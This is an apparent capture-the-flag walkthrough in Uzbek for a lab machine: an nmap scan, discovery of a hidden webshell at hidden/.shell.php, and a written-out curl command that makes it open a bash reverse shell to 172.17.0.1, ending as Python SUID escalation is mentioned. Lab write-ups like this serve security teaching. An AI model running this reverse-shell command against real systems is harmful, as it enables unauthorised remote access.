image.png

IP: 172.17.0.2

IP malum endi IP da qaysi portlar ochiqligini tekshiramiz.

image.png

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0d:09:9d:0f:dc:43:54:cd:39:a9:e2:d6:81:74:40:e8 (RSA)
|   256 09:d0:f6:52:00:3f:21:51:19:b1:c6:7a:f4:ff:21:01 (ECDSA)
|_  256 19:e0:b3:72:bd:e9:1e:8d:4c:c4:fd:1f:da:3f:a5:cf (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: The Walking Dead - CTF
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 2A:AC:0C:91:FD:B2 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=9/26%OT=22%CT=1%CU=36447%PV=Y%DS=1%DC=D%G=Y%M=2AAC0C%T
OS:M=6AB7AA1E%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=Z%II=I
OS:%TS=21)SEQ(SP=107%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=22)SEQ(SP=FC%GCD=1%ISR
OS:=110%TI=Z%CI=Z%II=I%TS=20)SEQ(SP=FD%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=21)S
OS:EQ(SP=FE%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=21)OPS(O1=M5B4ST11NWA%O2=M5B4ST
OS:11NWA%O3=M5B4NNT11NWA%O4=M5B4ST11NWA%O5=M5B4ST11NWA%O6=M5B4ST11)WIN(W1=F
OS:E88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M
OS:5B4NNSNWA%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T
OS:4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%
OS:RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

IP da vebsayt ishlamoqda ekan.

image.png

Bizga saytni ko’rinishi emas uni source kodi qiziq shuning uchun kodini ko’ramiz.

image.png

saytning source kodda hidden/.shell.php nomli sahifa bor ekan.

image.png

Sahifada hech narsa yo’q. Balki bu Webshell bo’lishi mumkun, buni bilish uchun curl orqali sinab ko’ramiz.

image.png

Ishladi. Bu bizga tayyor webshell ekan. Endi reverse olishga urinib ko’ramiz.

image.png

www-data nomidan shell keldi.

curl -s --get --data-urlencode 'cmd=bash -i >& /dev/tcp/172.17.0.1/2011 0>&1' "http://172.17.0.2/hidden/.shell.php"

image.png

Python ning 3.8 versiyasiga SUID bor ekan endi shu orqali root ga o’tib ko’ramiz.

image.png